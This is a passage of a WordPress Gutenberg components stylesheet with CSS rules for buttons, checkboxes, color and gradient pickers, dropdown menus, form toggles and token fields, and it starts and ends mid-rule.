.components-button.is-destructive:not(.is-primary):not(.is-secondary):not(.is-tertiary):not(.is-link):active:not(:disabled){
  background:#ccc;
}
.components-button.is-link{
  background:none;
  border:0;
  border-radius:0;
  box-shadow:none;
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  height:auto;
  margin:0;
  outline:none;
  padding:0;
  text-align:left;
  text-decoration:underline;
  transition-duration:.05s;
  transition-property:border, background, color;
  transition-timing-function:ease-in-out;
}
@media (prefers-reduced-motion:reduce){
  .components-button.is-link{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-button.is-link:focus{
  border-radius:2px;
}
.components-button:not(:disabled,[aria-disabled=true]):active{
  color:var(--wp-components-color-foreground, #1e1e1e);
}
.components-button:disabled,.components-button[aria-disabled=true]{
  cursor:default;
  opacity:.3;
}
.components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{
  animation:components-button__busy-animation 2.5s linear infinite;
  background-image:linear-gradient(-45deg, #fafafa 33%, #e0e0e0 0, #e0e0e0 70%, #fafafa 0);
  background-size:100px 100%;
  opacity:1;
}
@media (prefers-reduced-motion:reduce){
  .components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{
    animation-duration:0s;
  }
}
.components-button.is-compact{
  height:32px;
}
.components-button.is-compact.has-icon:not(.has-text){
  min-width:32px;
  padding:0;
  width:32px;
}
.components-button.is-small{
  font-size:11px;
  height:24px;
  line-height:22px;
  padding:0 8px;
}
.components-button.is-small.has-icon:not(.has-text){
  min-width:24px;
  padding:0;
  width:24px;
}
.components-button.has-icon{
  justify-content:center;
  min-width:36px;
  padding:6px;
}
.components-button.has-icon.is-next-40px-default-size{
  min-width:40px;
}
.components-button.has-icon .dashicon{
  align-items:center;
  box-sizing:initial;
  display:inline-flex;
  justify-content:center;
  padding:2px;
}
.components-button.has-icon.has-text{
  gap:4px;
  justify-content:start;
  padding-left:8px;
  padding-right:12px;
}
.components-button.is-pressed{
  background:var(--wp-components-color-foreground, #1e1e1e);
  color:var(--wp-components-color-foreground-inverted, #fff);
}
.components-button.is-pressed:focus:not(:disabled){
  box-shadow:inset 0 0 0 1px var(--wp-components-color-background, #fff), 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
}
.components-button.is-pressed:hover:not(:disabled){
  background:var(--wp-components-color-foreground, #1e1e1e);
  color:var(--wp-components-color-foreground-inverted, #fff);
}
.components-button svg{
  fill:currentColor;
  outline:none;
}
@media (forced-colors:active){
  .components-button svg{
    fill:CanvasText;
  }
}
.components-button .components-visually-hidden{
  height:auto;
}

@keyframes components-button__busy-animation{
  0%{
    background-position:200px 0;
  }
}
.components-checkbox-control__input[type=checkbox]{
  -webkit-appearance:none;
          appearance:none;
  background:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  clear:none;
  color:#1e1e1e;
  cursor:pointer;
  display:inline-block;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:24px;
  line-height:normal;
  line-height:0;
  margin:0 4px 0 0;
  outline:0;
  padding:6px 8px;
  padding:0 !important;
  text-align:center;
  transition:box-shadow .1s linear;
  transition:none;
  transition:border-color .1s ease-in-out;
  vertical-align:top;
  width:24px;
}
@media (min-width:600px){
  .components-checkbox-control__input[type=checkbox]{
    font-size:13px;
    line-height:normal;
  }
}
.components-checkbox-control__input[type=checkbox]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
}
.components-checkbox-control__input[type=checkbox]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-checkbox-control__input[type=checkbox]::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.components-checkbox-control__input[type=checkbox]:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.components-checkbox-control__input[type=checkbox]:focus{
  box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color);
}
.components-checkbox-control__input[type=checkbox]:checked{
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
}
.components-checkbox-control__input[type=checkbox]:checked::-ms-check{
  opacity:0;
}
.components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{
  color:#fff;
  margin:-3px -5px;
}
@media (min-width:782px){
  .components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{
    margin:-4px 0 0 -5px;
  }
}
.components-checkbox-control__input[type=checkbox][aria-checked=mixed]{
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
}
.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{
  content:"";
  display:inline-block;
  float:left;
  font:normal 30px/1 dashicons;
  vertical-align:middle;
  width:16px;
  speak:none;
  -webkit-font-smoothing:antialiased;
  -moz-osx-font-smoothing:grayscale;
}
@media (min-width:782px){
  .components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{
    float:none;
    font-size:21px;
  }
}
.components-checkbox-control__input[type=checkbox]:disabled,.components-checkbox-control__input[type=checkbox][aria-disabled=true]{
  background:#f0f0f0;
  border-color:#ddd;
  cursor:default;
  opacity:1;
}
@media (min-width:600px){
  .components-checkbox-control__input[type=checkbox]{
    height:20px;
    width:20px;
  }
}
@media (prefers-reduced-motion:reduce){
  .components-checkbox-control__input[type=checkbox]{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-checkbox-control__input[type=checkbox]:focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:2px;
}
.components-checkbox-control__input[type=checkbox]:checked,.components-checkbox-control__input[type=checkbox]:indeterminate{
  background:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-checkbox-control__input[type=checkbox]:checked::-ms-check,.components-checkbox-control__input[type=checkbox]:indeterminate::-ms-check{
  opacity:0;
}
.components-checkbox-control__input[type=checkbox]:checked:before{
  content:none;
}

.components-checkbox-control__input-container{
  display:inline-block;
  height:24px;
  margin-right:12px;
  position:relative;
  vertical-align:middle;
  width:24px;
}
@media (min-width:600px){
  .components-checkbox-control__input-container{
    height:20px;
    width:20px;
  }
}

svg.components-checkbox-control__checked,svg.components-checkbox-control__indeterminate{
  fill:#fff;
  cursor:pointer;
  height:24px;
  left:0;
  pointer-events:none;
  position:absolute;
  top:0;
  -webkit-user-select:none;
          user-select:none;
  width:24px;
}
@media (min-width:600px){
  svg.components-checkbox-control__checked,svg.components-checkbox-control__indeterminate{
    left:-2px;
    top:-2px;
  }
}

.components-circular-option-picker{
  display:inline-block;
  min-width:188px;
  width:100%;
}
.components-circular-option-picker .components-circular-option-picker__custom-clear-wrapper{
  display:flex;
  justify-content:flex-end;
  margin-top:12px;
}
.components-circular-option-picker .components-circular-option-picker__swatches{
  display:flex;
  flex-wrap:wrap;
  gap:12px;
  position:relative;
  z-index:1;
}
.components-circular-option-picker>:not(.components-circular-option-picker__swatches){
  position:relative;
  z-index:0;
}

.components-circular-option-picker__option-wrapper{
  display:inline-block;
  height:28px;
  transform:scale(1);
  transition:transform .1s ease;
  vertical-align:top;
  width:28px;
  will-change:transform;
}
@media (prefers-reduced-motion:reduce){
  .components-circular-option-picker__option-wrapper{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-circular-option-picker__option-wrapper:hover{
  transform:scale(1.2);
}
.components-circular-option-picker__option-wrapper>div{
  height:100%;
  width:100%;
}

.components-circular-option-picker__option-wrapper:before{
  background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='28' height='28' fill='none'%3E%3Cpath fill='%23555D65' d='M6 8V6H4v2zm2 0V6h2v2zm2 8H8v-2h2zm2 0v-2h2v2zm0 2v-2h-2v2H8v2h2v-2zm2 0v2h-2v-2zm2 0h-2v-2h2z'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M18 18h2v-2h-2v-2h2v-2h-2v-2h2V8h-2v2h-2V8h-2v2h2v2h-2v2h2v2h2zm-2-4v-2h2v2z' clip-rule='evenodd'/%3E%3Cpath fill='%23555D65' d='M18 18v2h-2v-2z'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M8 10V8H6v2H4v2h2v2H4v2h2v2H4v2h2v2H4v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2v2h-2V4h-2v2h-2V4h-2v2h-2V4h-2v2h2v2h-2v2zm0 2v-2H6v2zm2 0v-2h2v2zm0 2v-2H8v2H6v2h2v2H6v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h-2v2h-2V6h-2v2h-2v2h2v2h-2v2z' clip-rule='evenodd'/%3E%3Cpath fill='%23555D65' fill-rule='evenodd' d='M4 0H2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2H8V0H6v2H4zm0 4V2H2v2zm2 0V2h2v2zm0 2V4H4v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2H8v2z' clip-rule='evenodd'/%3E%3C/svg%3E");
  border-radius:50%;
  bottom:1px;
  content:"";
  left:1px;
  position:absolute;
  right:1px;
  top:1px;
  z-index:-1;
}

.components-circular-option-picker__option{
  background:#0000;
  border:none;
  border-radius:50%;
  box-shadow:inset 0 0 0 14px;
  cursor:pointer;
  display:inline-block;
  height:100%;
  transition:box-shadow .1s ease;
  vertical-align:top;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .components-circular-option-picker__option{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-circular-option-picker__option:hover{
  box-shadow:inset 0 0 0 14px !important;
}
.components-circular-option-picker__option[aria-pressed=true],.components-circular-option-picker__option[aria-selected=true]{
  box-shadow:inset 0 0 0 4px;
  overflow:visible;
  position:relative;
  z-index:1;
}
.components-circular-option-picker__option[aria-pressed=true]+svg,.components-circular-option-picker__option[aria-selected=true]+svg{
  border-radius:50%;
  left:2px;
  pointer-events:none;
  position:absolute;
  top:2px;
  z-index:2;
}
.components-circular-option-picker__option:after{
  border:1px solid #0000;
  border-radius:50%;
  bottom:-1px;
  box-shadow:inset 0 0 0 1px #0003;
  box-sizing:inherit;
  content:"";
  left:-1px;
  position:absolute;
  right:-1px;
  top:-1px;
}
.components-circular-option-picker__option:focus:after{
  border:2px solid #757575;
  border-radius:50%;
  box-shadow:inset 0 0 0 2px #fff;
  content:"";
  height:calc(100% + 4px);
  left:50%;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
  width:calc(100% + 4px);
}
.components-circular-option-picker__option.components-button:focus{
  background-color:initial;
  box-shadow:inset 0 0 0 14px;
  outline:none;
}

.components-circular-option-picker__button-action .components-circular-option-picker__option{
  background:#fff;
  color:#fff;
}

.components-circular-option-picker__dropdown-link-action{
  margin-right:16px;
}
.components-circular-option-picker__dropdown-link-action .components-button{
  line-height:22px;
}

.components-palette-edit__popover-gradient-picker{
  padding:8px;
  width:260px;
}

.components-dropdown-menu__menu .components-palette-edit__menu-button{
  width:100%;
}

.component-color-indicator{
  background:#fff linear-gradient(-45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
  border-radius:50%;
  box-shadow:inset 0 0 0 1px #0003;
  display:inline-block;
  height:20px;
  padding:0;
  width:20px;
}

.components-combobox-control{
  width:100%;
}

input.components-combobox-control__input[type=text]{
  border:none;
  box-shadow:none;
  font-family:inherit;
  font-size:16px;
  line-height:inherit;
  margin:0;
  min-height:auto;
  padding:2px;
  width:100%;
}
@media (min-width:600px){
  input.components-combobox-control__input[type=text]{
    font-size:13px;
  }
}
input.components-combobox-control__input[type=text]:focus{
  box-shadow:none;
  outline:none;
}

.components-combobox-control__suggestions-container{
  align-items:flex-start;
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  display:flex;
  flex-wrap:wrap;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  padding:0;
  transition:box-shadow .1s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .components-combobox-control__suggestions-container{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .components-combobox-control__suggestions-container{
    font-size:13px;
    line-height:normal;
  }
}
.components-combobox-control__suggestions-container:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-combobox-control__suggestions-container::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-combobox-control__suggestions-container::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.components-combobox-control__suggestions-container:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.components-combobox-control__suggestions-container:focus-within{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}

.components-combobox-control__reset.components-button{
  display:flex;
  height:16px;
  min-width:16px;
  padding:0;
}

.components-color-palette__custom-color-wrapper{
  position:relative;
  z-index:0;
}

.components-color-palette__custom-color-button{
  background:none;
  border:none;
  border-radius:2px 2px 0 0;
  box-shadow:inset 0 0 0 1px #0003;
  box-sizing:border-box;
  cursor:pointer;
  height:64px;
  outline:1px solid #0000;
  position:relative;
  width:100%;
}
.components-color-palette__custom-color-button:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline-width:2px;
}
.components-color-palette__custom-color-button:after{
  background-image:repeating-linear-gradient(45deg, #e0e0e0 25%, #0000 0, #0000 75%, #e0e0e0 0, #e0e0e0), repeating-linear-gradient(45deg, #e0e0e0 25%, #0000 0, #0000 75%, #e0e0e0 0, #e0e0e0);
  background-position:0 0, 24px 24px;
  background-size:48px 48px;
  content:"";
  height:100%;
  left:0;
  position:absolute;
  top:0;
  width:100%;
  z-index:-1;
}

.components-color-palette__custom-color-text-wrapper{
  border-radius:0 0 2px 2px;
  box-shadow:inset 0 -1px 0 0 #0003,inset 1px 0 0 0 #0003,inset -1px 0 0 0 #0003;
  font-size:13px;
  padding:12px 16px;
  position:relative;
}

.components-color-palette__custom-color-name{
  color:var(--wp-components-color-foreground, #1e1e1e);
  margin:0 1px;
}

.components-color-palette__custom-color-value{
  color:#757575;
}
.components-color-palette__custom-color-value--is-hex{
  text-transform:uppercase;
}
.components-color-palette__custom-color-value:empty:after{
  content:"​";
  visibility:hidden;
}

.components-custom-gradient-picker__gradient-bar{
  border-radius:2px;
  height:48px;
  position:relative;
  width:100%;
  z-index:1;
}
.components-custom-gradient-picker__gradient-bar.has-gradient{
  background-image:repeating-linear-gradient(45deg, #e0e0e0 25%, #0000 0, #0000 75%, #e0e0e0 0, #e0e0e0), repeating-linear-gradient(45deg, #e0e0e0 25%, #0000 0, #0000 75%, #e0e0e0 0, #e0e0e0);
  background-position:0 0, 12px 12px;
  background-size:24px 24px;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__gradient-bar-background{
  inset:0;
  position:absolute;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__markers-container{
  margin-left:auto;
  margin-right:auto;
  position:relative;
  width:calc(100% - 48px);
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-dropdown{
  display:flex;
  height:16px;
  position:absolute;
  top:16px;
  width:16px;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point-dropdown{
  background:#fff;
  border-radius:50%;
  color:#1e1e1e;
  height:inherit;
  min-width:16px;
  padding:2px;
  position:relative;
  width:inherit;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point-dropdown svg{
  height:100%;
  width:100%;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button{
  border-radius:50%;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 2px 0 #00000040;
  height:inherit;
  outline:2px solid #0000;
  padding:0;
  width:inherit;
}
.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button.is-active,.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button:focus{
  box-shadow:inset 0 0 0 calc(var(--wp-admin-border-width-focus)*2) #fff, 0 0 2px 0 #00000040;
  outline:1.5px solid #0000;
}

.components-custom-gradient-picker__remove-control-point-wrapper{
  padding-bottom:8px;
}

.components-custom-gradient-picker__inserter{
  direction:ltr;
}

.components-custom-gradient-picker__liner-gradient-indicator{
  display:inline-block;
  flex:0 auto;
  height:20px;
  width:20px;
}

.components-custom-gradient-picker .components-custom-gradient-picker__toolbar{
  border:none;
}
.components-custom-gradient-picker .components-custom-gradient-picker__toolbar>div+div{
  margin-left:1px;
}
.components-custom-gradient-picker .components-custom-gradient-picker__toolbar button.is-pressed>svg{
  background:#fff;
  border:1px solid #949494;
  border-radius:2px;
}

.components-custom-gradient-picker__ui-line{
  position:relative;
  z-index:0;
}

.components-custom-select-control{
  font-size:13px;
  position:relative;
}

.components-custom-select-control__button{
  outline:0;
  position:relative;
  text-align:left;
}

.components-custom-select-control__hint{
  color:#949494;
  margin-left:10px;
}

.components-custom-select-control__menu{
  background-color:#fff;
  border:1px solid #1e1e1e;
  border-radius:2px;
  max-height:400px;
  min-width:100%;
  outline:none;
  overflow:auto;
  padding:0;
  position:absolute;
  transition:none;
  z-index:1000000;
}
.components-custom-select-control__menu[aria-hidden=true]{
  display:none;
}

.components-custom-select-control__item{
  align-items:center;
  cursor:default;
  display:grid;
  grid-template-columns:auto auto;
  line-height:28px;
  list-style-type:none;
  padding:8px 16px;
}
.components-custom-select-control__item:not(.is-next-40px-default-size){
  padding:8px;
}
.components-custom-select-control__item.has-hint{
  grid-template-columns:auto auto 30px;
}
.components-custom-select-control__item.is-highlighted{
  background:#ddd;
}
.components-custom-select-control__item .components-custom-select-control__item-hint{
  color:#949494;
  padding-right:4px;
  text-align:right;
}
.components-custom-select-control__item .components-custom-select-control__item-icon{
  margin-left:auto;
}
.components-custom-select-control__item:last-child{
  margin-bottom:0;
}

.block-editor-dimension-control .components-base-control__field{
  align-items:center;
  display:flex;
}
.block-editor-dimension-control .components-base-control__label{
  align-items:center;
  display:flex;
  margin-bottom:0;
  margin-right:1em;
}
.block-editor-dimension-control .components-base-control__label .dashicon{
  margin-right:.5em;
}
.block-editor-dimension-control.is-manual .components-base-control__label{
  width:10em;
}

body.is-dragging-components-draggable{
  cursor:move;
  cursor:grabbing !important;
}

.components-draggable__invisible-drag-image{
  height:50px;
  left:-1000px;
  position:fixed;
  width:50px;
}

.components-draggable__clone{
  background:#0000;
  padding:0;
  pointer-events:none;
  position:fixed;
  z-index:1000000000;
}

.components-drop-zone{
  border-radius:2px;
  bottom:0;
  left:0;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
  visibility:hidden;
  z-index:40;
}
.components-drop-zone.is-active{
  opacity:1;
  visibility:visible;
}

.components-drop-zone__content{
  align-items:center;
  background-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  bottom:0;
  color:#fff;
  display:flex;
  height:100%;
  justify-content:center;
  left:0;
  position:absolute;
  right:0;
  text-align:center;
  top:0;
  width:100%;
  z-index:50;
}

.components-drop-zone__content-icon,.components-drop-zone__content-text{
  display:block;
}

.components-drop-zone__content-icon{
  line-height:0;
  margin:0 auto 8px;
  fill:currentColor;
  pointer-events:none;
}

.components-drop-zone__content-text{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}

.components-dropdown{
  display:inline-block;
}

.components-dropdown__content .components-popover__content{
  padding:8px;
}
.components-dropdown__content [role=menuitem]{
  white-space:nowrap;
}

.components-dropdown-menu__toggle{
  vertical-align:top;
}

.components-dropdown-menu__menu{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:1.4;
  width:100%;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item,.components-dropdown-menu__menu .components-menu-item{
  cursor:pointer;
  outline:none;
  padding:6px;
  white-space:nowrap;
  width:100%;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator,.components-dropdown-menu__menu .components-menu-item.has-separator{
  margin-top:6px;
  overflow:visible;
  position:relative;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator:before,.components-dropdown-menu__menu .components-menu-item.has-separator:before{
  background-color:#ddd;
  box-sizing:initial;
  content:"";
  display:block;
  height:1px;
  left:0;
  position:absolute;
  right:0;
  top:-3px;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active .dashicon,.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active svg,.components-dropdown-menu__menu .components-menu-item.is-active .dashicon,.components-dropdown-menu__menu .components-menu-item.is-active svg{
  background:#1e1e1e;
  border-radius:1px;
  box-shadow:0 0 0 1px #1e1e1e;
  color:#fff;
}
.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-icon-only,.components-dropdown-menu__menu .components-menu-item.is-icon-only{
  width:auto;
}
.components-dropdown-menu__menu .components-menu-item__button,.components-dropdown-menu__menu .components-menu-item__button.components-button{
  height:auto;
  min-height:36px;
  padding-left:8px;
  padding-right:8px;
  text-align:left;
}
.components-dropdown-menu__menu .components-menu-group{
  margin:0 -8px;
  padding:8px;
}
.components-dropdown-menu__menu .components-menu-group:first-child{
  margin-top:-8px;
}
.components-dropdown-menu__menu .components-menu-group:last-child{
  margin-bottom:-8px;
}
.components-dropdown-menu__menu .components-menu-group+.components-menu-group{
  border-top:1px solid #ccc;
  margin-top:0;
  padding:8px;
}
.is-alternate .components-dropdown-menu__menu .components-menu-group+.components-menu-group{
  border-color:#1e1e1e;
}

.components-duotone-picker__color-indicator:before{
  background:#0000;
}
.components-duotone-picker__color-indicator>.components-button,.components-duotone-picker__color-indicator>.components-button.is-pressed:hover:not(:disabled){
  background:linear-gradient(-45deg, #0000 48%, #ddd 0, #ddd 52%, #0000 0);
  color:#0000;
}
.components-duotone-picker__color-indicator>.components-button:not([aria-disabled=true]):active{
  color:#0000;
}

.components-color-list-picker,.components-color-list-picker__swatch-button{
  width:100%;
}

.components-color-list-picker__color-picker{
  margin:8px 0;
}

.components-color-list-picker__swatch-button{
  padding:6px;
}

.components-color-list-picker__swatch-color{
  margin:2px;
}

.components-form-toggle{
  display:inline-block;
  position:relative;
}
.components-form-toggle .components-form-toggle__track{
  background-color:#fff;
  border:1px solid #1e1e1e;
  border-radius:9px;
  box-sizing:border-box;
  content:"";
  display:inline-block;
  height:18px;
  overflow:hidden;
  position:relative;
  transition:background-color .2s ease,border-color .2s ease;
  vertical-align:top;
  width:36px;
}
@media (prefers-reduced-motion:reduce){
  .components-form-toggle .components-form-toggle__track{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-form-toggle .components-form-toggle__track:after{
  border-top:18px solid #0000;
  box-sizing:border-box;
  content:"";
  inset:0;
  opacity:0;
  position:absolute;
  transition:opacity .2s ease;
}
@media (prefers-reduced-motion:reduce){
  .components-form-toggle .components-form-toggle__track:after{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-form-toggle .components-form-toggle__thumb{
  background-color:#1e1e1e;
  border:6px solid #0000;
  border-radius:50%;
  box-sizing:border-box;
  display:block;
  height:12px;
  left:3px;
  position:absolute;
  top:3px;
  transition:transform .2s ease,background-color .2s ease-out;
  width:12px;
}
@media (prefers-reduced-motion:reduce){
  .components-form-toggle .components-form-toggle__thumb{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.components-form-toggle.is-checked .components-form-toggle__track{
  background-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  border-color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-form-toggle.is-checked .components-form-toggle__track:after{
  opacity:1;
}
.components-form-toggle .components-form-toggle__input:focus+.components-form-toggle__track{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
  outline:2px solid #0000;
  outline-offset:2px;
}
.components-form-toggle.is-checked .components-form-toggle__thumb{
  background-color:#fff;
  border-width:0;
  transform:translateX(18px);
}
.components-disabled .components-form-toggle,.components-form-toggle.is-disabled{
  opacity:.3;
}

.components-form-toggle input.components-form-toggle__input[type=checkbox]{
  border:none;
  height:100%;
  left:0;
  margin:0;
  opacity:0;
  padding:0;
  position:absolute;
  top:0;
  width:100%;
  z-index:1;
}
.components-form-toggle input.components-form-toggle__input[type=checkbox]:checked{
  background:none;
}
.components-form-toggle input.components-form-toggle__input[type=checkbox]:before{
  content:"";
}

.components-form-token-field__input-container{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  cursor:text;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  padding:0;
  transition:box-shadow .1s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .components-form-token-field__input-container{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .components-form-token-field__input-container{
    font-size:13px;
    line-height:normal;
  }
}
.components-form-token-field__input-container:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-form-token-field__input-container::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.components-form-token-field__input-container::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.components-form-token-field__input-container:-ms-input-placeholder{
  color:#1e1e1e9e;
}
.components-form-token-field__input-container.is-disabled{
  background:#ddd;
  border-color:#ddd;
}
.components-form-token-field__input-container.is-active{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.components-form-token-field__input-container input[type=text].components-form-token-field__input{
  background:inherit;
  border:0;
  box-shadow:none;
  color:#1e1e1e;
  display:inline-block;
  flex:1;
  font-family:inherit;
  font-size:16px;
  margin-left:4px;
  max-width:100%;
  min-height:24px;
  min-width:50px;
  padding:0;
  width:100%;
}
@media (min-width:600px){
  .components-form-token-field__input-container input[type=text].components-form-token-field__input{
    font-size:13px;
  }
}
.components-form-token-field.is-active .components-form-token-field__input-container input[type=text].components-form-token-field__input,.components-form-token-field__input-container input[type=text].components-form-token-field__input:focus{
  box-shadow:none;
  outline:none;
}
.components-form-token-field__input-container .components-form-token-field__token+input[type=text].components-form-token-field__input{
  width:auto;
}

.components-form-token-field__token{
  color:#1e1e1e;
  display:flex;
  font-size:13px;
  max-width:100%;
}
.components-form-token-field__token.is-success .components-form-token-field__remove-token,.components-form-token-field__token.is-success .components-form-token-field__token-text{
  background:#4ab866;
}
.components-form-token-field__token.is-error .components-form-token-field__remove-token,.components-form-token-field__token.is-error .components-form-token-field__token-text{
  background:#cc1818;
}
.components-form-token-field__token.is-validating .components-form-token-field__remove-token,.components-form-token-field__token.is-validating .components-form-token-field__token-text{
  color:#757575;
}
.components-form-token-field__token.is-borderless{
  padding:0 24px 0 0;
  position:relative;
}
.components-form-token-field__token.is-borderless .components-form-token-field__token-text{
  background:#0000;
  color:var(--wp-components-color-accent, var(--wp-admin-theme-color, #3858e9));
}
.components-form-token-field__token.is-borderless .components-form-token-field__remove-token{
  background:#0000;
  color:#757575;
  padding:0;
  position:absolute;
  right:0;
  top:1px;
}
.components-form-token-field__token.is-borderless.is-success .components-form-token-field__token-text{
  color:#4ab866;
}
.components-form-token-field__token.is-borderless.is-error .components-form-token-field__token-text{
  border-radius:4px 0 0 4px;
  color:#cc1818;
  padding:0 4px 0 6px;
}
.components-form-token-field__token.is-borderless.is-validating .components-form-token-field__token-text{
  color:#1e1e1e;
}
.components-form-token-field__token.is-disabled .components-form-token-field__remove-token{
  cursor:default;
}

.components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{
  background:#ddd;
  display:inline-block;
  height:auto;
  line-height:24px;
  min-width:unset;
  transition:all .2s cubic-bezier(.4, 1, .4, 1);
